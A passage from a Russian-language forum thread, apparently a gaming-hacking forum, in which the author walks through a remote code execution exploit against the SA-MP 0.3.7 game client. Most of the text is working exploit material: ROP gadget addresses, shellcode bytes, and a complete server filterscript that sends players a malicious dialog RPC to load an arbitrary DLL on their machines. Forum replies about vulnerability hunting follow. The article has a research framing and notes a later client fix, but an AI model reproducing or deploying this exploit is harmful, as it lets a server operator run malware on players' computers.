    for(new i = 0; i < sizeof(payload2); i++) // caption
    {
        BS_WriteUint8(payload_bs, payload2[i]);
    }
    BS_WriteString8(payload_bs, "left button"); // left button
    BS_WriteString8(payload_bs, "right button"); // right button
    BS_WriteCompressedString(payload_bs, payload1); // text
}

public OnFilterScriptExit()
{
    BS_Delete(payload_bs);
}

public OnPlayerCommandText(playerid, cmdtext[])
{
    if(!strcmp("/aasd1", cmdtext, true))
    {
        PerformRCE(playerid);
        return 1;
    }
    return 0;
}

PerformRCE(playerid)
{
    SetPlayerGravity(playerid, Float:0x3C658B90);
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    SetPlayerGravity(playerid, 0.008);
}

SetPlayerGravity(playerid, Float:gravity)
{
    new BitStream:bs = BS_New();
    BS_WriteFloat(bs, gravity);
    PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    BS_Delete(bs);
}
Компилируем, загружаем, заходим, вводим команду, получаем краш по адресу 0x99887766, как мы и указали.
anC5BLQ.jpeg

Отлично! Самое сложное позади, теперь мы можем перейти к этапу разработки rop chains и первичного шелла.

Этап 3. Разработка

Теперь перед нами стоит 2 задачи. Первая - нам надо найти такую последовательность гаджетов, которая скопирует нам шеллкод со стека в исполняемую память. Вторая - собственно, написать этот шеллкод, его мы будем размещать следом за гаджетами в caption. Нужно помнить, что мы ограничены 256 байтами, а шеллкод должен помочь нам развернуть более крупный код, нежели пару сотен байт.
Для копирования участков памяти используются инструкции rep movsb/movsw/movsd. В регистр edi помещается адрес куда копировать, в регистр esi - откуда, в регистр ecx - кол-во итераций. Значит нам нужно найти примерно 4 гаджета. Начнём с поиска гаджета для копирования. Просмотрев все подобные инструкции в коде игры, нашёлся один такой, который оказался очень интересен:
7JXAtbV.jpeg

Тут у нас заодно очень удобно устанавливается регистр esi, причём туда загружается адрес со стека. Как раз то, что нам нужно, и одним гаджетом на установку esi меньше.
Начнём записывать наш rop chain. Установим адрес возврата на инструкцию lea:
Код:
0x005B2EE6
После выполнения копирования в гаджете из стека достаются значения в edi и esi. Нам они не нужны, поэтому просто укажем нули для корректности стека:
Код:
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
Затем, нужно указать адрес для следующего перехода. Т.к. к этому моменту наш шеллкод будет скопирован, мы передадим управление ему. На прошлом этапе мы определили, что будем копировать наш шеллкод по адресу 0x00866000. Его и укажем:
Код:
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
Теперь нам надо посчитать, где размещать шеллкод. Т.к. инструкция выглядит следующим образом:
Код:
lea esi, [esp+0x10]
то это означает:
Код:
(esp-0x04) 0x005B2EE6 // rep movsd gadget
(esp+0x00) 0x00000000 // edi value
(esp+0x04) 0x00000000 // esi value
(esp+0x08) 0x00866000 // ret to dst
(esp+0x0C) ...
(esp+0x10) ...
Значит, после последнего адреса возврата надо уступить одну позицию. Поместим туда тоже нули. В итоге, наш rop chain на данном этапе будет выглядеть так:
Код:
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
Теперь надо найти гаджет для установки значения в edi. Тут всё просто, надо найти последовательность команд pop edi; ret. В бинарном виде это будет 0x5F, 0xC3, поэтому просто найдём данную последовательность байт в коде игры. Она нашлась по адресу 0x00402E8D. Значит, наш rop chain будет выглядеть теперь так:
Код:
0x00402E8D // pop edi gadget
0x00866000 // edi value
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
И наконец, последнее: надо найти гаджет для установки значения в ecx. Аналогичным образом ищем pop ecx; ret и находим по адресу 0x00402715. Только тут нам надо посчитать, сколько именно байт копировать. Давайте посмотрим:
Код:
0x00402715 // pop ecx gadget
0x000000?? // ecx value
0x00402E8D // pop edi gadget
0x00866000 // edi value
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
Максимум массив caption может быть длиной 256. Из них 9 позиций в стеке уходит на наши rop chains, это 36 байт. Т.е. наш шеллкод начнётся с 37-го байта и может быть максимум до 256-й. Скопируем целиком всё до конца, даже если итоговый шеллкод окажется меньше. Значит нам потребуется скопировать 256-36 байт, то есть 220. Важно учесть, что movsd копирует по 4 байта за итерацию, значит итераций у нас будет 55, то есть 0x37:
Код:
0x00402715 // pop ecx gadget
0x00000037 // ecx value
0x00402E8D // pop edi gadget
0x00866000 // edi value
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
Давайте подытожим, что мы имеем на данном этапе. Итак, сначала мы отправляем клиенту специфичное значение гравитации, в которой содержится код для stack pivoting. Затем осуществляем переполнение с помощью диалога, из-за чего при возврате из функции CDialog::GetTextScreenLength управление переходит не обратно в CDialog::PrepareListbox, откуда она была вызвана, а в наш код stack pivoting. Там подменяется указатель на стек, а именно устанавливается на массив caption из RPC_ShowDialog, в котором с помощью манипуляций возвратами мы копируем наш шеллкод в исполняемую память и передаём управление ему.
Наша первая задача с rop chains решена, перейдём ко второй - написанию этого самого шеллкода. И здесь нас ждут две, так сказать, подзадачи. Во-первых, после всех этих манипуляций у нас "сломан" стек, мы должны его вернуть в корректное состояние и осуществить корректное дальнейшее исполнение программы, будто бы ничего и не было. Ну и во-вторых, загрузить более объёмный код и исполнить его.
Напомню, что у нас была следующая цепочка вызовов: RPC_ShowDialog -> CDialog::Open -> CDialog::PrepareListbox -> CDialog::GetTextScreenLength. Вместо возврата в CDialog::PrepareListbox мы перешли в выполнение нашего шеллкода. Логично было бы вернуться обратно непосредственно в CDialog::PrepareListbox, но, во-первых, в этом нет необходимости (т.к. там нет ничего важного, что требовало бы возвращения туда), а во-вторых для простоты реализации мы будем "мимикрировать" под CDialog::PrepareListbox и в конце вернём управление в CDialog::Open.
Для начала нам надо выставить указатель на стек туда, где он должен был быть при возвращении из CDialog::GetTextScreenLength. В этом нам снова поможет регистр ebp, только теперь надо посчитать оффсет в другую сторону. Снова обратимся к подсказкам IDA Pro:
xb01r78.jpeg

В момент после вызова CDialog::GetTextScreenLength стек у CDialog::PrepareListbox смещён на 0x12C, но т.к. мы будем восстанавливаться относительно ebp, а CDialog::PrepareListbox в самом начале сохраняет предыдущее значение ebp на стек, сдвигая тем самым стек на 4 байта, то мы должны отнять у 0x12C эти 4 байта и получим 0x128. Значит, первая инструкция по восстановлению указателя на стек в нашем шеллкоде будет иметь вид:
Код:
lea esp, [ebp-0x128]
Далее нам нужно вернуться обратно в CDialog::Open, а поэтому просто скопируем эпилог функции CDialog::PrepareListbox в наш шеллкод:
Код:
pop     edi
pop     esi
mov     eax, 1
pop     ebx
mov     esp, ebp
pop     ebp
retn    8
На данном этапе я предлагаю проверить работоспособность шеллкода, а для наглядности добавить команду установки значения денег игроку:
Код:
mov dword ptr [0x00B7CE50], 1137
Наш шеллкод примет вид:
Код:
lea esp, [ebp-0x128]
mov dword ptr [0x00B7CE50], 1137
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
а в бинарном представлении: 0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0xC7, 0x05, 0x50, 0xCE, 0xB7, 0x00, 0x71, 0x04, 0x00, 0x00, 0x5F, 0x5E, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00
Обновим наш filterscript:
Код:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>

new const RPC_ShowDialog = 61;
new const RPC_ScrSetGravity = 146;

new payload1[] =
{
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9   +10   +11   +12   +13   +14   +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00
};

new payload2[] =
{
    0x15, 0x27, 0x40, 0x00, // pop ecx gadget
    0x37, 0x00, 0x00, 0x00, // ecx value
    0x8D, 0x2E, 0x40, 0x00, // pop edi gadget
    0x00, 0x60, 0x86, 0x00, // edi value
    0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget
    0x00, 0x00, 0x00, 0x00, // edi value
    0x00, 0x00, 0x00, 0x00, // esi value
    0x00, 0x60, 0x86, 0x00, // ret to dst
    0x00, 0x00, 0x00, 0x00, // pad
 
    0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0xC7, 0x05, 0x50, 0xCE, 0xB7, 0x00, 0x71, 0x04, 0x00, 0x00, 0x5F,
    0x5E, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00
};


new BitStream:payload_bs;

public OnFilterScriptInit()
{
    payload_bs = BS_New();
    BS_WriteUint16(payload_bs, 1); // dialog id
    BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
    BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length
    for(new i = 0; i < sizeof(payload2); i++) // caption
    {
        BS_WriteUint8(payload_bs, payload2[i]);
    }
    BS_WriteString8(payload_bs, "left button"); // left button
    BS_WriteString8(payload_bs, "right button"); // right button
    BS_WriteCompressedString(payload_bs, payload1); // text
}

public OnFilterScriptExit()
{
    BS_Delete(payload_bs);
}

public OnPlayerCommandText(playerid, cmdtext[])
{
    if(!strcmp("/aasd1", cmdtext, true))
    {
        PerformRCE(playerid);
        return 1;
    }
    return 0;
}

PerformRCE(playerid)
{
    SetPlayerGravity(playerid, Float:0x3C658B90);
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    SetPlayerGravity(playerid, 0.008);
}

SetPlayerGravity(playerid, Float:gravity)
{
    new BitStream:bs = BS_New();
    BS_WriteFloat(bs, gravity);
    PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    BS_Delete(bs);
}
Заходим в игру, вводим команду, получаем результат:
mOmUC1O.jpeg

Всё работает! Правда, остаётся открытым пустой диалог. Но SA-MP позволяет закрыть любой открытый диалог, отправив диалог с отрицательным id. Воспользуемся этим. Здесь мы также не будем пользоваться нативной функцией, а напишем свою, чтобы отправлять RPC в отдельном канале очерёдности:
Код:
HidePlayerDialog(playerid)
{
    new BitStream:bs = BS_New();
    BS_WriteUint16(bs, -1); // id
    BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style
    BS_WriteString8(bs, " "); // caption
    BS_WriteString8(bs, ""); // left button
    BS_WriteString8(bs, ""); // right button
    BS_WriteCompressedString(bs, " "); // text
    PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    BS_Delete(bs);
}

Этап 4.

Теперь нам предстоит выполнить что-то посерьёзнее. Например, загрузить и запустить .exe или подгрузить .dll. Рассмотрим вариант с dll. Традиционно, здесь нас ждёт ряд проблем, которые нам предстоит решить. Итак, WinAPI функция LoadLibrary не позволяет произвести загрузку напрямую из памяти, она может загружать только из файла. Можно из шеллкода создавать файл, помещать туда содержимое, а затем подгружать его. Но такое поведение может не понравится антивирусам и другим системам защиты, и в общем случае работать ненадёжно и нестабильно, так что отложим этот вариант. Есть способы подгрузки dll из памяти, однако они весьма сложны и объёмны, реализация этих способов так же не поместится в доступные нам ~200 байт. Можно скомпилировать dll таким образом, чтобы она не использовала импорты и размещала свой код по фиксированному адресу, а затем брать этот код и размещать его в доступные области памяти самой игры по тем же адресам. Этот вариант имеет право на жизнь и даже рабочий, но крайне неудобный и ограничивающий. К счастью, с этой проблемой сталкивались и другие разработчики, а поэтому уже есть готовое решение, под названием sRDI. В рамках этой статьи я не буду вдаваться в подробности и принципы работы данного решения, лишь вкратце озвучку необходимую для нас важную информацию. Этот инструмент модифицирует dll таким образом, чтобы она сама загрузилась, при этом достаточно передать управление первому её байту.
Значит, теперь перед нами стоит вполне конкретная задача: передать саму dll, выделить под неё память с правами записи и исполнения, скопировать туда, вызвать. Главный вопрос здесь в том, как именно передать с сервера на клиент килобайты или даже мегабайты потенциальной dll. Да всё максимально просто, можно просто записать её в конец битстрима RPC ShowDialog! Т.к. там записывается в конце сжатый text, необходимо выровнять по байту указатель на запись. Теперь задача стала ещё конкретнее и яснее: в нашем шеллкоде необходимо выделить память, скопировать туда данные из битстрима, вызвать. Также неплохо было бы, чтобы наш шеллкод сам определял, какого размера у нас dll и выделял соответствующий объём памяти. Что ж, приступим.
Сперва нам надо добраться до битстрима. Помните, в гаджете для stack pivoting мы добирались до указателя на caption через ebp? Этот caption был во стекфрейме обработчика RPC ShowDialog. Объект битстрима находится там же. Посмотрим:
UD9MMBG.jpeg

Да он прям перед этим caption и лежит!
Код:
mov eax, [ebp+0x3c]
sub eax, 0x118
Далее из структуры BitStream нам нужны поля numberOfBitsUsed, readOffset и указатель на данные data. Они лежат в самом начале, по оффсетам +0x0, +0x8 и +0xC соответственно. readOffset и numberOfBitsUsed мы переведём из бит в байты и вычтем первое из второго, тем самым получив количество непрочитанных байт. Т.к. мы записываем в конец битстрима нашу dll, а SA-MP читает только структуру для диалога, то количество непрочитанных байт и будет размером, который нам необходимо выделить для копирования.
Подглядеть как выполняется перевод из бит в байты можно в исходниках RakNet:
Код:
#define BITS_TO_BYTES(x) (((x)+7)>>3)
Мы сделаем аналогично. Поместим в регистры ecx, edx, esi значения numberOfBitsUsed, readOffset и data соответственно, переведём из бит в байты, затем из ecx вычтем edx чтобы получить размер dll, а к esi наоборот прибавим edx, чтобы получить указатель на начало нашей dll, а не начало всех данных. Таким образом, часть работы с битстримом у нас будет иметь вид:
Код:
;# get bitstream
mov eax, [ebp+0x3c] ;# caption
sub eax, 0x118      ;# bitstream
mov ecx, [eax]      ;# numberOfBitsUsed
mov edx, [eax+0x8]  ;# readOffset
mov esi, [eax+0xC]  ;# data ptr
add ecx, 7          ;# numberOfBitsUsed bits to bytes
shr ecx, 3
add edx, 7          ;# readOffset bits to bytes
shr edx, 3
sub ecx, edx        ;# numberOfBitsUsed - readOffset = dll size
add esi, edx        ;# data ptr         + readOffset = dll ptr
Теперь нам нужно выделить память. Делается это с помощью функции WinAPI VirtualAlloc, её адрес есть в таблице импортов игры по адресу 0x8581A4:
Код:
LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect)
Согласно документации функции, нам нужно вызвать эту функцию с flAllocationType = MEM_COMMIT | MEM_RESERVE, flProtect = PAGE_EXECUTE_READWRITE. В dwSize нам надо передать размер выделяемого участка памяти, в lpAddress необходимо передать 0. После выполнения адрес выделенного участка будет помещён в регистр eax. Также важно помнить, что при вызове подобных функций могут быть затёрты значения в регистрах ebx, ecx, edx, поэтому перед вызовом необходимо их значения сохранить на стеке, а после вызова - восстановить. В нашем случае регистры eax (указатель на битстрим) и edx (readOffset) нам больше не нужны, ebx мы не используем, а вот ecx нам ещё понадобится, поэтому перед вызовом его надо сохранить. Также мы поместим возвращённое в eax значение в edi для дальнейшего копирования. Таким образом, часть с выделением памяти у нас будет иметь вид:
Код:
;# call VirtualAlloc
push ecx                        ;# save ecx
push 0x40                       ;# flProtect = PAGE_EXECUTE_READWRITE
push 0x3000                     ;# flAllocationType = MEM_COMMIT | MEM_RESERVE
push ecx                        ;# dwSize = dll size
push 0                          ;# lpAddress = 0
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc
call eax                        ;# call VirtualAlloc
mov edi, eax
pop ecx                         ;# restore ecx
После этого у нас в edi помещён адрес выделенной памяти, куда нужно копировать, в esi - откуда копировать, ecx - сколько копировать. Поэтому мы можем запустить цикл копирования:
Код:
rep movsb
А затем передать управление dll:
Код:
call eax
Целиком наш шеллкод будет выглядеть следующим образом:
Код:
;# repair stack
lea esp, [ebp-0x128]

;# get bitstream
mov eax, [ebp+0x3c]             ;# caption
sub eax, 0x118                  ;# bitstream
mov ecx, [eax]                  ;# numberOfBitsUsed
mov edx, [eax+0x8]              ;# readOffset
mov esi, [eax+0xC]              ;# data ptr
add ecx, 7                      ;# numberOfBitsUsed bits to bytes
shr ecx, 3   
add edx, 7                      ;# readOffset bits to bytes
shr edx, 3   
sub ecx, edx                    ;# numberOfBitsUsed - readOffset = dll size
add esi, edx                    ;# data ptr         + readOffset = dll ptr

;# call VirtualAlloc
push ecx                        ;# save ecx
push 0x40                       ;# flProtect = PAGE_EXECUTE_READWRITE
push 0x3000                     ;# flAllocationType = MEM_COMMIT | MEM_RESERVE
push ecx                        ;# dwSize = dll size
push 0                          ;# lpAddress = 0
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc
call eax                        ;# call VirtualAlloc
mov edi, eax
pop ecx                         ;# restore ecx

;# copy dll
rep movsb

;# execute dll
call eax

;# epilogue
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Уложились в 77 байт, отлично.
Для проверки работоспособности я предлагаю написать простенький asi-мод, модифицировать с помощью sRDI, прочитать из pawn и записать его в битстрим. Пусть это будет тоже самое изменение денег, но уже из asi:
Код:
#include <Windows.h>

VOID CALLBACK MainTimer(HWND hwnd, UINT message, UINT idTimer, DWORD dwTime)
{
    *(DWORD*)0x00B7CE50 = 1137;
    KillTimer(NULL, 0);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReasonForCall, LPVOID lpReserved)
{
    switch (dwReasonForCall)
    {
    case DLL_PROCESS_ATTACH:
        SetTimer(NULL, 0, 1000, (TIMERPROC)MainTimer);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
Скомпилируем, прогоним через sRDI:
MlVj2A6.jpeg

Обновим наш filterscript, вставив новый шеллкод и добавив чтение dll из файла и запись в битстрим, не забыв при этом сделать выравнивание:
Код:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>

new const RPC_ShowDialog = 61;
new const RPC_ScrSetGravity = 146;

new payload1[] =
{
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9   +10   +11   +12   +13   +14   +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00
};

new payload2[] =
{
    0x15, 0x27, 0x40, 0x00, // pop ecx gadget
    0x37, 0x00, 0x00, 0x00, // ecx value
    0x8D, 0x2E, 0x40, 0x00, // pop edi gadget
    0x00, 0x60, 0x86, 0x00, // edi value
    0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget
    0x00, 0x00, 0x00, 0x00, // edi value
    0x00, 0x00, 0x00, 0x00, // esi value
    0x00, 0x60, 0x86, 0x00, // ret to dst
    0x00, 0x00, 0x00, 0x00, // pad
 
    0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0x8B, 0x45, 0x3C, 0x2D, 0x18, 0x01, 0x00, 0x00, 0x8B, 0x08, 0x8B,
    0x50, 0x08, 0x8B, 0x70, 0x0C, 0x83, 0xC1, 0x07, 0xC1, 0xE9, 0x03, 0x83, 0xC2, 0x07, 0xC1, 0xEA, 0x03,
    0x29, 0xD1, 0x01, 0xD6, 0x51, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x51, 0x6A, 0x00, 0xA1, 0xA4,
    0x81, 0x85, 0x00, 0xFF, 0xD0, 0x89, 0xC7, 0x59, 0xF3, 0xA4, 0xFF, 0xD0, 0x5F, 0x5E, 0xB8, 0x01, 0x00,
    0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00
};


new BitStream:payload_bs;

new payload_array[21111];

public OnFilterScriptInit()
{
    payload_bs = BS_New();
    BS_WriteUint16(payload_bs, 1); // dialog id
    BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
    BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length
    for(new i = 0; i < sizeof(payload2); i++) // caption
    {
        BS_WriteUint8(payload_bs, payload2[i]);
    }
    BS_WriteString8(payload_bs, ""); // left button
    BS_WriteString8(payload_bs, ""); // right button
    BS_WriteCompressedString(payload_bs, payload1); // text

    // align
    new offset;
    BS_GetWriteOffset(payload_bs, offset);
    BS_SetWriteOffset(payload_bs, PR_BYTES_TO_BITS(PR_BITS_TO_BYTES(offset)));

    // dll
    new File:fi = fopen("test.asi");
    new payload_len = flength(fi);
    if(payload_len > sizeof(payload_array) * 4)
    {
        printf("ERROR! Not enough space to read! %d needed", payload_len / 4);
    }
    else
    {
        fblockread(fi, payload_array);
        printf("SUCC READ PAYLOAD of %d bytes", payload_len);
        for(new i = 0; i < payload_len / 4; i++)
        {
            BS_WriteUint32(payload_bs, payload_array[i]);
        }
    }
    fclose(fi);
}

public OnFilterScriptExit()
{
    BS_Delete(payload_bs);
}

public OnPlayerCommandText(playerid, cmdtext[])
{
    if(!strcmp("/aasd1", cmdtext, true))
    {
        PerformRCE(playerid);
        return 1;
    }
    return 0;
}

PerformRCE(playerid)
{
    SetPlayerGravity(playerid, Float:0x3C658B90);
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    HidePlayerDialog(playerid);
    SetPlayerGravity(playerid, 0.008);
}

SetPlayerGravity(playerid, Float:gravity)
{
    new BitStream:bs = BS_New();
    BS_WriteFloat(bs, gravity);
    PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    BS_Delete(bs);
}

HidePlayerDialog(playerid)
{
    new BitStream:bs = BS_New();
    BS_WriteUint16(bs, -1); // id
    BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style
    BS_WriteString8(bs, " "); // caption
    BS_WriteString8(bs, ""); // left button
    BS_WriteString8(bs, ""); // right button
    BS_WriteCompressedString(bs, " "); // text
    PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    BS_Delete(bs);
}
Заходим в игру, вводим команду, ждём некоторое время, пока RPC будет передан на клиент, т.к. он теперь достаточно объёмный, и... всё работает! Поздравляю, мы только что с вами сделали sasi loader, то бишь Server ASI Loader. Теперь вы можете подгружать с сервера на клиент любые dll, которые захотите. Но помните, что загрузка вредоносных программ карается по закону.

Заключение

Что ж, благодарю, что прочитали данную статью. Буду рад вашим комментариям, замечаниям, вопросам. В заключение отмечу, что написанный шеллкод будет работать на всех ревизиях 0.3.7, т.к. в них нет отличий в тех функциях, с которыми мы работали. Судя по всему, данная уязвимость появилась с момента появления системы диалогов, то есть с версии 0.3a (2009), и на данный момент уже исправлена в последней версии клиента R5 (2022). Конечно, фикс можно реализовать и для других версий с помощью тех же модов asi или даже lua. Строго рекомендуется использовать последнюю версию SA-MP со всеми исправлениями, а также не заходить на те сервера, которые вызывают у вас подозрение и которым вы не доверяете.
P.S. понравилась статья? будьте на связи, у меня для вас есть ещё кое-что интересное ;)
Удивительно только то, что разработчики способные найти подобные уязвимости почему-то до сих пор сидят на форуме в сампе. И ищут в нём уязвимости....
Было-бы намного круче и более крышесносно попытаться что-то подобное найти в других сферах, например в web. (а подобное раньше находили, те же ратники в картинках).
Думаю было-бы лучше, если бы blast-hack начал переходить во что-то большее, чем samp.
 
Последнее редактирование:

Vintik

Мечтатель
Проверенный
1,467
916
например в web. (а подобное раньше находили, те же ратники в картинках).
Пусть поправят меня те, кто лучше разбирается в Веб, но подобные "обходы" там тоже присутствуют.
Во-первых, всё зависит от ЯП, на котором написан сервер, поэтому не исключена возможность переполнения стека.
Из того, что запоминается - были как-то SQL инъекции.
 

EvgeN 1137

?
Автор темы
Проверенный
160
596
Удивительно только то, что разработчики способные найти подобные уязвимости почему-то до сих пор сидят на форуме в сампе. И ищут в нём уязвимости....
Было-бы намного круче и более крышесносно попытаться что-то подобное найти в других сферах, например в web. (а подобное раньше находили, те же ратники в картинках).
Думаю было-бы лучше, если бы blast-hack начал переходить во что-то большее, чем samp.
Во-первых, в незнакомой или малознакомой области искать уязвимости гораздо сложнее. А самп он вдоль и поперёк изучен, в нём имеется большой опыт, знаешь чуть ли не все мелкие особенности и нюансы. Вот та же гравитация, например, описанная в статье.
Во-вторых, самп написан одним человеком, и, можно сказать, любителем, а не профессионалом в программировании, поэтому содержит множество ошибок и косяков. Другие, более крупные продукты, как правило, разрабатываются бОльшим числом людей и более высокой квалификацией (хотя это спорный аргумент, но всё же).
В-третьих, чем популярнее продукт, тем больше охват аудитории, и тем выше шанс присутствия в нём таких же скилловых или более челов, которые уже расковыряли и зарепортили.

Вообще, самп по себе идеальный плацдарм для изучения программирования, читинга, реверс-инжиниринга, хакинга и многих других областей, по типу моделлинга или гейм-дизайна. И если браться за изучение и поиск таких уязвимостей, то самп - отличный реальный crackme. Не нужно воспринимать статьи подобного рода за какую-то магию и мыслить в духе "ну раз уж он здесь такую магию смог сделать, то в других сферах этот чел точно так же может творить чудеса". Нет. Чтобы действительно творить чудеса во всех областях, нужно иметь богатый опыт. А сперва его где-то надо набрать. Где? В областях попроще, поменьше, в нишевых.
 

Shishkin

Известный
488
249
Во-первых, в незнакомой или малознакомой области искать уязвимости гораздо сложнее. А самп он вдоль и поперёк изучен, в нём имеется большой опыт, знаешь чуть ли не все мелкие особенности и нюансы. Вот та же гравитация, например, описанная в статье.
Во-вторых, самп написан одним человеком, и, можно сказать, любителем, а не профессионалом в программировании, поэтому содержит множество ошибок и косяков. Другие, более крупные продукты, как правило, разрабатываются бОльшим числом людей и более высокой квалификацией (хотя это спорный аргумент, но всё же).
В-третьих, чем популярнее продукт, тем больше охват аудитории, и тем выше шанс присутствия в нём таких же скилловых или более челов, которые уже расковыряли и зарепортили.

Вообще, самп по себе идеальный плацдарм для изучения программирования, читинга, реверс-инжиниринга, хакинга и многих других областей, по типу моделлинга или гейм-дизайна. И если браться за изучение и поиск таких уязвимостей, то самп - отличный реальный crackme. Не нужно воспринимать статьи подобного рода за какую-то магию и мыслить в духе "ну раз уж он здесь такую магию смог сделать, то в других сферах этот чел точно так же может творить чудеса". Нет. Чтобы действительно творить чудеса во всех областях, нужно иметь богатый опыт. А сперва его где-то надо набрать. Где? В областях попроще, поменьше, в нишевых.
1) Знания показанные в статье вполне достаточны для нахождения уязвимостей и в других областях. Прочитав бегло эту статью, я заметил, что вы даже опустились до ассемблера, чего не ожидал от самп комьюнити, и чего в плане познания вполне достаточно для нахождения уязвимостей в большей части систем (ниже только машинный код).
2,3) Уязвимости везде есть, и в этой статье даже показан пример с чатом майнкрафта. С охватом я немного не согласен, важно понимать какая именно аудитория у продукта. Качество != количество. Да и большая часть уязвимостей не репортится, а находится в тайне.

